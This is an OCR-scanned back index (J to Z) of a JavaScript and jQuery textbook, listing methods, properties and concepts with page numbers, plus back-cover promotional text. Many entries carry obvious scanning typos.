. is() (jQuery method) 343,521,565 
i sNaN ( ) (Number object) 132 
$.isNumeric() 343 
item() (Array) 71 
item() (NodeLists) 196,198 

J 

JavaScript console 462-79 
JavaScript History / Standards 532 
JavaScript libraries 360-1,428 
JavaScript not enabled 491 
jQuery 

Introduction to 294, 296, 298-9 
$(} shortcut for jQuery () 296,299,313,361 
$ (function () 313 

Advantages 300 
Ajax (see Ajax) 


API 358 

Caching selections 308-9 
Chaining methods 311 
Conflicts with other scripts 361 
document. ready () 312-13 
Documentation 358 

Elements 302-3, 314-6, 318-9, 336-9,342-7 

Events object 326-331 

.fn object 523-5 

Forms (.serial ize()) 394 

Global methods 

$.ajax() 388,398-9,405 
$.get() 388,392-3 
$,getJS0N{) 388,392,396-7,405 
J.getScript () 388 
MsNumericO 343 
$ . post ( ) 388,394-5 
Howto include 298 r 354-5 
Implicit iteration 310 

jQueryO function (see at so $ () } 296, 299, 313, 361 

jQuery methods: full list of methods 304-5 

jQuery selection (matched set) 296-7, 306 
Adding to / filtering selection 338-341 
Caching 308-9 

Number of elements (1 ength property) 364 
jQuery selectors 296, 300, 302-3 

jQuery Selectors: full list of selectors 302-3 

jQuery U I 429 
Accordion 430 
Date picker 432-33, 618-9 
Form enhancements 432-3 
Tabs 431 
Looping 

Through elements (implicit iteration) 310 
Through elements *each{) (see E > *each()) 
Matched set (see J > jQuery > jQuery selection) 
Page is ready to work with 312-3 
Plugins 359, 428 

Creating your own 522-5 
Date picker 619 
jQuery Ul 429-434,618-9 
noUISlider 538 
Versions 298, 301 

Where to get/ download 298,354-5 


Where to place script 313, 354-7 
jqXHfi object 389,405 
Methods 

.abort(), .always(), 

.doneO, .fail () 389,396-7 
.overrideMimeType{) 405 
Properties 

responseText, responseXML, 
status, statusText 389 
JSON 

fnfroducfton fo 376-7 
As an Ajax data format 374 
Debugging JSON 474 
Displaying JSON 382-3 
JSON object 

parse() &stringify{) methods 377,382-3 
Serializing and deserializing data 382-3 
JSONP 385-7 

K 

Keyboard events 246-7,280-1 
keydown, keypress, keyup, input event 246-7 
keys (objects) 101, 533, key/value pairs 118 
Keywords 

break 164-5,174 

case 164-5 

catch 480-1, 576-7 

continue 174,595 

debugger 479 

delete 107,112, 533 

finally 480-1 

new (array) 71 

new (object) 106,109 

return 92, 94-7, 578-9, 586-7, 594-5 

switch 164-5 

this 102-9,114-5,270,324 

throw 482 

try 480-1,576-7 

var 60, 63-8 

L 

lastChi Id (DOM property) 208,211 
lastlndexOf () (Stri ng object) 128-130 
length (history object) 124, 426 
1 ength (items in a select box) 584 
length (String object) 128-130,588-9, 620-1 


Length of text input 588-9 
Lexical scope 457 
Lexicographic sort 554 
Libraries 360-1, 428 

Linking to a JavaScript file 47 r 51 r 298, 313, 354-7 
Links 

Get value of href attribute 407 
Which link was clicked 498-9 
Literal notation 102, 104-5, 113, 142 

(see q / so O > Objects > Creating your own objects) 
Uve search (autocomplete) 370 
load event 246, 272-3, 286-7 
• load () (jQuery method - Ajax) 388, 390-1, 407 
Local scope 98-9 (see a /so p456-7) 

Locale 137 

local Storage 420-3 
location property (wi ndow object) 124-5 
Logical operators 156-9,169 
Logical and 157-8, 537 
Logical not 157,159 
Logical OR 157,159 
Short-circuit evaluation 157,169 
Looking for text 550-3 
Loops 

/rttroduct/on to 170-7 

break keyword 174 (see oiso Keywords > break) 

Conditions 170-3 

continue keyword 174, 595 

Counters 171-4,181 

do while loop 170, 177 

for loop 175 

fntroducf/on to 170, 175 
Diagram 172-3 

Looping through elements 204-7 
Increment C++) 171 
Infinite loop 174 
jQuery implicit iteration 310 
jQuery .each() method 324 
Looping through 

an array 175, 530, 534-7, 542-3 
checkboxes 580-1 

DOM elements (node List) 204-7, 594-5 
properties of an object 533, 605 
radio buttons 582-3 
Performance 174 
while loop 170,176,181 
Lowercase 128-130 
;lt() (jQuery selector) 340 


M 

raap{) (array object) 530 
Maps (Google maps) 441-7 
Matched set (jQuery) 296-7, 306-9, 338-41, 364 
Math object 134-5 
Methods 

ceil (), floorQ, randomO, 
round (}, sqrt{) 134 
Properties 
PI 134 

Member operator 50, 103 

method property (DOM property - forms) 572 

Methods 

Introduction to 32-3,100-11 
Calling a method 50,103 
Minification (.min. js extension) 298 
Modal window 500-5 
Modernizr 414-5, 417, 419, 593, 596-7 
Module pattern 501 
mousedown, mousemove, mouseout, 
mouseover, mouseup event 246, 276-7 
mul t i pi e (DOM property - forms) 584 
Multiplication 76-7,176-7,181 
Mutation events 247,284-5 
MVC/MV* 360,434-9 

N 

name (DOM property - forms) 572-3 
Name/value pairs 28, 88-9, 101, 113, 116-8, 131 
Naming conflicts (collisions) 97, 99, 361 
NaN 78,132,461,483 

navigator object (Browser Object Model) 122, 414, 
417-9 

new keyword 71,106,109 

.next () (jQuery method) 336-7,495 

.nextAll{) (jQuery method) 336 

nextSi bling (DOM property) 208, 210, 214 

NodeLists 196-9 

Nodes ( introduction to) 40, 186-7 

nodeVal lie (DOM property) 184, 214-5, 241 

No JavaScript 491 

Non- blocking processing 371 

*not() (jQuery method) 338,494-5,531 

:not() (jQuery selectors) 338-9 

noUiSiider 538, 542-3 

nova 1 1 date property (HTML5 forms) 591 r 604-5 


Number object (Built-in Objects) 

Methods 

isNan(), toExponenti al (), 
toFixed() ( toPrec1sion() 132-3 
Rounding numbers 132-3 
Numbers 62-3 

Random numbers 135 
Rounding 132-3 
Sorting 558 

Numeric data type 62 (see o/so D > Data types) 

O 

Objects 

Introduction to 26-9, 34-5, 100-1 
Accessing properties and methods 
Dot notation 103-5; 110 
Square brackets 103 r 107 
Adding and removing properties 112 
Arrays and objects 118-9, 308, 340, 533 
Built-in objects 120-3 
Creating 

Comparison of techniques 113 
Constructor notation 106, 108-111, 113 
Literal notation 102, 104-5, 113, 142 
Instances of 109-11 
Multiple objects 105, 108-111 
Creating your own objects (examples of) 
Compare functions for sorting 562-3 
Custom object for valid elements 601, 604-5 
Data: cameras and projectors 586-7 
Data: people for filtering 533-4 
Image cache 509-13 
Modal window 501-5 
Tags 544-9 

keys 101-2, 113, 117-8, 131, 533 
Methods 32-5,38-9,100-11 
Properties 28-9, 34-5, 100-12 
this 114-5 

Updating properties 107 
vs variables and arrays 116-7 
Object models (introduction to) 121 
,off() (jQuery method) 505 
.offset () (jQuery methods) 351, 353 
,on{) (jQuery method) 326-31,343-5,365 
onpopstate property (wi ndow object) 426-7 
.open () (XMLHttpRequest object) 373, 379, 381, 383 


Operators 

+= adding to a string 111, 125, 127, 130, 133 
Comparison operators 148-56 
> greater than, >= greater than or equal to 151-5 
() grouping operator 97 
< less than, <= less than or equal to 151 
. Member operator 50, 103 
== h equal to, 1= is not equal to 150 
=== strict equal to, I == strict not equal to 150 
? : Ternary operator 562, 579, 583 
Unary operator 168 
<option> elements 584-7 
options (DOM property -forms) 584 
Order of execution 452 
,OuterHeight{), (jQuery method) 348 
.outerWidthO (jQuery method) 348 
.overrideMimeTypeO (jqXHR method) 405 

P 

Page loads - run script 273, 312-3 
pageXOffset, pageYOff set (wi ndow object) 124-5 
pageX, pageY (window object) 124, 278-9 
Parameters 50, 88, 92-3 
With event listeners 256-7 
. parent () (jQuery method) 336,498-9 
.parents () (jQuery method) 336 
parentNode (DOM property) 208, 224-5 
: password (jQuery selector) 342 
paste event 247 
Performance 
Caching 

DOM queries 190-1, 575 
Images (custom object) 509-11 
jQuery selections 308-9, 540-1 
Object references 540-1 
Text (custom object) 551 
Event delegation 266, 268-71, 290-1, 330-1, 365 
Global vs Local variables 98-9 
Selecting class and id attributes (jQuery vs 
DOM) 324 

Where to place scripts 356-7 
PI property (Math object) 134 
pi aceholder (and its fallback) 590-1, 594-5 
Poly fills 593-7 
pop (} (array object) 530 
.positionQ (jQuery method) 351 


Position object (geolocation API) 41S-9 
PositionError object (geolocation API) 418-9 
Position of items on page 351-3 
$,post (} (jQuery method) 388, 392, 394-6 
.prependf) & .prependTo{) (jQuery methods) 318 
Presentation layer 44 

preventDefaultO (event object) 262,267,283, 
.preventDefaul t{) (jQuery method) 328, 345, 

365, 494-5* 504-5 

previousSibling (DOM property) 208-10 
Primitive data types (see Data types) 

Progressive enhancement 45 
. prop (} (jQuery method) 618-9 
Properties 28-9, 34-5, 100-12 
Protocol relative URL 355 
Proxy (Ajax) 384 

push() (array object) 519, 530, 536-7, 540, 542-3 
pushState() (history object) 424-7,426 

Q 

querySelector{) (DOM method) 193-6, 202 r 241 
querySelectorAl 1 () (DOM method) 126,193,197 

R 

: radio (jQuery selector) 342 

random() (Hath object) 134-5 

Random numbers 135 

RangeError 459, 461 

Range slider 432-3, 538, 542-3 

. ready {) (jQuery method) 312-3, 361, 364 

Reference 

To an element DOM 190-1, 575 
To an element jQuery 308-9, 540-1 
To an object 540-1 
ReferenceError 459-60 
Regular expressions 563, 611-3 
Relative URLs (Ajax) 389 
Removing content: 

, remove () (jQuery method) 299, 316-7, 346, 584 
.removeAttrO (jQuery method) 320 
removeAttributeO (DOM method) 232, 235 
removeChildO (DOM method) 224-5 
, removed ass () (jQuery method) 320-1,339, 
341, 512-3 

renioveEventListenerO (DOM method) 255 
(seea/so innerHTML an(d detach{)) 


replace() (String object) 128-130,406-7,562-3 
replaceStateO method (history object) 424-6 
.replaceWi th{) (jQuery method) 316 
Requires 593 

: reset (jQuery selector) 342 

reset () (DOM method - forms) 572 

reset event 247, 572 

resize event 246, 272, 504-5 

responseText (XMLHttpRequest object) 379, 383, 389 

responseXML (XMLHttpRequest object) 380, 389 

return keyword 92, 94-7, 578-9, 586-7, 594-5 

reverse () (Array object) 530, 564-5 

Range Error 459,461 

Rounding numbers 132-5 

round () (Math object) 134 

S 

Same origin policy 420 
Saving a script 46 
Scope 98-9, 457 

Global scope 98-9,453-7 
IlFEs 97 

Lexical scope 457 

Local (function-level) scope 98-9, 453 
Naming collisions and namespaces 99, 523 
Screen dimensions 124-125, 278, 350 
screen object (Browser Object Model) 124-5 
Properties 
height, width 124 

screenX, screenY (window object) 124,278 
<script> element 47 

Conditional loader for scripts 596-597 
When to load 596-7 

Where to place <scri pt> tag 48, 51, 313, 354-7 
Scripts 

Approach to writing 16-23 
Definition 14-7 
scroll event 246, 272 
»scrol 1 Left () (jQuery method) 350 
*scro11Top() (jQuery method) 350,353 
Search 550-553 

Security: Cross Site Scripting (CSS) Attack 228-231 
. Select boxes 584-7 
sel ect{) (DOM method) 573 
: selected (jQuery selector) 342 
selected (DOM property - forms) 573, 580-3 
selectedlndex (DOM property - forms) 584 


selectedOptions (DOM property - forms) 584 
select event 247 

send() (XMLHttpRequest object) 373, 379, 381, 383 
Separation of concerns 490 
.seriallzeQ (jQuery method ’forms) 394-5 
Serializing JSON data 382 
sessionStorage 420-3 
setAttributeO (DOM method) 232,234 
set Date () (Date object) 137 
setFull Year() (Date object) 137 
set Hours () (Date object) 137 
setltem() (storage API) 421-3 
setTime() (Date object) 137 
setTimeoutQ (window object) 517-9 
setMil 1 seconds () (Date object) 137 
setMinutes() (Date object) 137 
setMonth() (Date object) 137 
setSecondsO (Date object) 137 
sh1ft() (array object) 530 
Short-circuit evaluation 157, 169 
,show() (jQuery method) 332-3,344,364 
.sibl i ngs ( ) (jQuery method) 336,548-9 
Slider (content panel) 515-520 
.slideToggleO (jQuery method) 494-5 
some() (array object) 530 
sort() (array object) 530, 533, 554-65 
Sorting 555-6 
Dates 559 

Lexicographic sort 554 
Numbers 554, 558 
Random order 558 
Sorting a table 561-6 

split() (String object) 128-130,546-7,563,618-9 

sqrt{) (Math object) 134 

src attribute 47 

Stack 454-5 

Statements 56 

,stop() (jQuery method) 332,353,510-1 
stopPropagation() (DOM event object) 262, 267 
,stopPropagation{) (jQuery method) 328 
Storage objects (storage API) 420-3 
Storing data (compare techniques) 116-7 
String data type 62, 64-5 
Checking for text 552-3 


String object 
Methods 

charAt(), indexOf{), lastlndex0f(), 
replace(), spl it (), substring (), trimf), 
toLowerCase(), toUpper€ase(} 128-130 
Properties 
length 128-130 
tsubmi t ([Query selector) 342 
submit() (DOM method - forms) 572 
Submit buttons 578-9 
submit event 247, 271, 282, 572 
substringO (String object) 128-130 
.complete{) (jQuery method) 396 
,error() (jQuery method) 396 
. success () (jQuery method) 396 
swi tch statements 164-165, 291 
Switch value 165 
Synchronous processing 371 
SyntaxError 459-460 

T 

Tables 

Adding rows 542-3 
Sorting a table 560-5 
*tabs() (jQuery Ul method) 431 
Tabs 431, 496-9 

target property (event object) 262-3, 268-9 
Templates 360, 434-9 
Ternary operator 562-3, 579, 583 
Testing for features (see Feature detection) 
te$t() method 611 

, text {) (jQuery method) 314-7,364-5,535 

: text (jQuery selector) 342 

<textarea> 588-9 

textContent (DOM property) 216-7 

this 102-9, 114-5, 270, 324 

throw (error handling) 481-3 

Timers (see Delays) 

, toArrayO (jQuery method) 531 
toDateStri ng() (Date object) 137 
toExponential () (Number object) 132 
toFixed{) (Number object) 132 
,toggle{) (jQuery method) 332, 493 
*toggleClas$() (jQuery method) 565 
totowerCaseO (String object) 128-130,550-3 
toPreeisionO (Number object) 132 
toStringO (Date object) 137 


toTimeStringf) (Date object) 137 
toUpperCase() (String object) 128-130,406 
Traversing the DOM 208-11 
trim() (String object) 128-130,552-3 
Troubleshooting 

Ajax not working in Chrome (locally) 378 
Ajax requests; assets not showing up 389 
Common errors 485 (see also 460-1) 

Console 464-474 

Debugging JSON data and objects 474 
Debugging tips 462-3, 484 
Equivalent values do not match 166 
Events firing more than once 260-1 
IE will not run script locally 47 
jQuery object only returns data from first 
element in selection 307 
NaN 78, 461 

try. . . catch 480-1, 576-7 
Truthy and fafsy values 167-9 
try (error handling) 480-1, 576-7 
type (DOM property - forms) 573 
type (event object) 262 
Type coercion 166,168 
TypeError 459, 461 

U 

UML (Unified Modeling language) 494 
undefined 61, 485 
Unix time 136-7 

uni oad event 246, 272 (see aiso beforeuni oad) 
unshiftf) (array object) 530 
Untrusted data (XSS) 228-31 
, unwrap () (jQuery method) 346 
Updating content (see DOM and jQuery) 

Updating page without refreshing (see Ajax) 
Uppercase 128-130, 406 
URIError 459-460 
URL (get current) 36-9,124 

V 

,va! () (jQuery method) 343,345,365,542-3 

Validation (definition) 282,568 

val ue (DOM property - forms) 573, 574-5, 578-9 


Variables 

Assign a value / assignment operator 61 
Declaration 60 
Definition 58-9 
Naming 60, 69 

Naming conflicts and collisions 97, 99 
Scope 98, 453 
undefined 61,485 
vs arrays and objects 116-7 
van key word 60,63-8 

W 

Weak typing 166-7 
Web Storage API 420-3 
Where to place your scripts 356 
while loop 170,176,181 
Whitespace (DOM) 209-211, 237 
wi dth (screen object) 124-5 
,width() (jQuery methods) 348-50 
wi ndow object (Browser Object Model) 36-7, 124-5 
Introduction to 36-7 
Methods 

alert{), openf), print () 124 
Properties 

innerHeight, innerWidth 124-5 
location property 36,124 
onpopstate 426 
pageXOffset, pageYQffset 124 
screenX, screenY 124-5 
write() (document object) 126,226 

XYZ 

XOamainRequest object (fE8-9) 384 
XML 374-5,380-81 
XHLHttpRequest object 
Methods 

open (}, send (} 372-3 
Properties 

responseText 379, 383, 389 
responseXML 380-2, 389 
Status 373,378-9,389 
XSS (Cross Site Scripting) Attacks 228-231 


flybikes 

bmx toys from spain 


LEARN HOW TO 

Read and write JavaScript 
Make your sites more interactive 
Use jQuery to simplify your code 
Recreate popular web techniques 


TECHNIQUES INCLUDE 

Slideshows and lightboxes 
Improved forms and validation 
Using Ajax, APIs, and JSON 
Filtering, searching, and sorting 


ONLINE SUPPORT 

Code samples and practical 
exercises available online at: 
w w w ja vase ri ptb o ok ,co m 
Pius bonus reference materials 
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